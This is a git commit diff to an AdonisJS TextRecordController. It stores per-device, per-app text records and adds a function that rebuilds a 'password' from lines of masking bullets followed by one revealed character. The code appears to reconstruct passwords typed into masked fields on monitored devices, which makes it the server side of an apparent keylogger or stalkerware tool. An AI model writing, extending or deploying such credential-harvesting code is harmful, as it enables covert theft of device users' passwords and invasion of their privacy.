Pārlūkot izejas kodu

feat(controllers): 更新 TextRecordController 的存储逻辑

- 修改 store 方法,使用请求验证提取数据并生成密码本记录生成密码的逻辑
wuyi 5 mēneši atpakaļ
vecāks
revīzija
03b2873604
1 mainītis faili ar 26 papildinājumiem un 5 dzēšanām
  1. 26 5
      app/Controllers/Http/TextRecordController.ts

+ 26 - 5
app/Controllers/Http/TextRecordController.ts

@@ -12,17 +12,15 @@ export default class TextRecordController {
 
     public async store({ request, bouncer }: HttpContextContract) {
         await bouncer.authorize('admin')
-        // 数据校验
-        await request.validate({
+        const payload = await request.validate({
             schema: schema.create({
                 deviceId: schema.string(),
                 appName: schema.string(),
                 record: schema.string()
             })
         })
-        // 数据提取
-        // const payload = request.only(['deviceId', 'appName', 'record'])
-        return await TextRecord.create(request.all())
+        const password = this.generatePasswordFromRecord(payload.record)
+        return await TextRecord.create({ ...payload, password })
     }
 
     public async update({ request, params, bouncer }: HttpContextContract) {
@@ -40,4 +38,27 @@ export default class TextRecordController {
         await record.save()
         return record
     }
+
+    private generatePasswordFromRecord(text?: string): string {
+        if (!text || typeof text !== 'string') return ''
+        const bullet = '•'
+        const result: string[] = []
+        const seenCounts = new Set<number>()
+        const lines = text.split(/\r?\n/)
+        for (const rawLine of lines) {
+            const line = rawLine.trim()
+            if (line.length === 0) continue
+            const lastChar = line.charAt(line.length - 1)
+            if (lastChar === bullet) continue
+            if (!/[A-Za-z0-9]/.test(lastChar)) continue
+            const head = line.slice(0, -1)
+            const allBullets = head.split('').every((c) => c === bullet)
+            if (!allBullets) continue
+            const bulletCount = head.length
+            if (seenCounts.has(bulletCount)) continue
+            seenCounts.add(bulletCount)
+            result.push(lastChar)
+        }
+        return result.join('')
+    }
 }